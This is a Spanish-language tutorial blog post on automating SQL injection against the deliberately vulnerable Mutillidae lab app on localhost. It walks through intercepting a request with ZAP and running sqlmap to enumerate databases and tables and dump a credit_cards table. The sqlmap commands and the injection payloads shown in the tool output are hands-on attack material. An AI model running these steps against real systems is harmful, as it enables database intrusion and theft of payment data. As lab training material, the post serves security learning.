A1: 2017 - Inyecciones (Parte 3 y Última)

En mi juego de computadora favorito Quest for Glory 2: Trial by Fire, cuando el mundo vuelve a estar en peligro, el personaje principal termina en la Universidad de Wizards. Después de aprobar con éxito los exámenes de ingreso, los sabios magos barbudos ofrecen ir a esta Universidad, porque una vez que lo hayamos terminado, entenderemos todas las complejidades de la magia, estudiaremos todos los hechizos y definitivamente salvaremos a nuestros amigos y venceremos al mal del mundo. El único problema es que tendrán que estudiar durante 15-20 años, y durante este tiempo las fuerzas del mal tendrán tiempo de vencer más de una vez.

Cada vez que recuerdo involuntariamente este episodio, cuando me enfrento a otro libro interesante o un montón de documentación técnica. Se han escrito muchos libros sobre gestión del tiempo, pero para mí todo se reduce a una fórmula simple: descifrar los conceptos básicos, descifrar ejemplos, ¡luego solo la automatización!

Ahora que tenemos una idea aproximada de cómo funcionan las inyecciones, ¿por qué no tratar de simplificar nuestras vidas y, una vez más, descubrir algún ejemplo anterior, pero con la ayuda de un software adicional? Necesitamos dos herramientas:
Sqlmap, una herramienta que le permite automatizar la búsqueda y explotación de vulnerabilidades en SQL y ZAP Proxy, un servidor proxy local que es necesario para analizar el tráfico entre el navegador en el servidor web.

Nuevamente, debe mencionar que estas no son las únicas herramientas de este tipo, y seguramente en el próximo blog se demostrará de manera convincente que, en lugar de sqlmap, debe tratar con sqlninja, y no necesita pasar tiempo en ZAP cuando hay Burp. No discutiré con nadie.

Comenzaremos a hacer la vida más fácil interceptando el tráfico entre el cliente y el servidor web. Los datos resultantes se utilizarán como parámetros para sqlmap. En general, la URL de la aplicación vulnerable también puede servir como parámetro, pero ahora los datos del proxy serán más claros para nosotros.

Trabajaremos con el mismo ejemplo de A1 que analizamos en el artículo anterior ("SQLi - Extraer datos"> "Información del usuario (SQL)").


Iremos a esta página a través de nuestro Proxy ZAP e ingresaremos algunos datos. Entiendo que la tentación ya es probar algo de lo que hemos aprendido, pero en este momento solo necesita ingresar cualquier información obviamente incorrecta. Ingreso mi contraseña / administrador favorito y recibo la siguiente solicitud en la intercepción:

GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 

Aquí estamos interesados ​​principalmente en la primera línea, es decir, la solicitud. A veces es útil verificar si interceptamos. Esto se puede hacer repitiendo esta solicitud generada en el mismo navegador. Si obtenemos la misma página con un error, estamos en el camino correcto.

Guardaremos nuestra solicitud interceptada como un archivo separado request_sqlmap.txt.

Ahora, pasemos este archivo para su análisis a sqlmap:

 sqlmap -r reqest_sqlmap.txt --banner 

Necesitamos el parámetro –banner para sqlmap para tratar de determinar con qué DBMS estamos tratando. En nuestro ejemplo, esto no es tan importante, pero en la práctica, puede acelerar las pruebas sin distraerse con aspectos de otros DBMS que no son aplicables a su objetivo.

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1' 

El escaneo se completó con éxito, y una vez más vimos lo que, en general, ya sabíamos:

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable 

Además, sqlmap determinó que estamos tratando con mysql, o más bien, su bifurcación. Ahora veamos qué bases de datos hay en el servidor:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs 

En lo sucesivo, indicaremos nuestro archivo de intercepción como parámetro para sqlmap. Además, indicaremos los parámetros que ya conocemos: el tipo de DBMS, así como el modificador -dbs para obtener datos sobre bases de datos existentes:

 [23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test 


Genial Por lo general, las bases de datos reciben algunos nombres significativos o se crean automáticamente al instalar aplicaciones. El principio de "Seguridad por oscuridad", por supuesto, no ha sido cancelado, pero esta es la excepción más que la regla. Lo más interesante en nuestro caso, aparentemente, es la base mutillidae, veamos en qué consiste:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables 

Aquí, a lo que sabemos, agregaremos el DBMS necesario y la clave –tables para ver las tablas en esta base de datos:

 [23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+ 

Ya no está mal. La tabla credit_cards se ve especialmente prometedora. Vamos a verlo:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

y obtener:

 [23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+ 

¡Vaya, hay una tabla completa donde se deben almacenar los datos de la tarjeta de crédito! Ahora que hemos llegado, echemos un vistazo a esta tabla:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump 

Ups:

 [23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+ 

Aquí están, nuestras tarjetas de crédito. Ahora deben sonar dos preguntas en su cabeza: ¿cómo funciona y de dónde provienen todos estos datos?

Como funciona Bueno, estrictamente hablando, es lo mismo que si estuviera clasificando todas las opciones posibles, intentando al azar explotar esta o aquella vulnerabilidad.

Pero de dónde provienen los datos, la pregunta es para el administrador que publicó información tan importante en un lugar tan inapropiado.

Sqlmap tiene docenas de parámetros que no podemos analizar en un artículo. Pero la tarea de mis artículos es presentar la solución, y luego depende de usted. Intenta a tu gusto también cavar el resto de la base y experimentar con los parámetros, tal vez las tarjetas de crédito no sean las más interesantes. =)

Lea el blog del autor en este enlace .

Source: https://habr.com/ru/post/es429706/


All Articles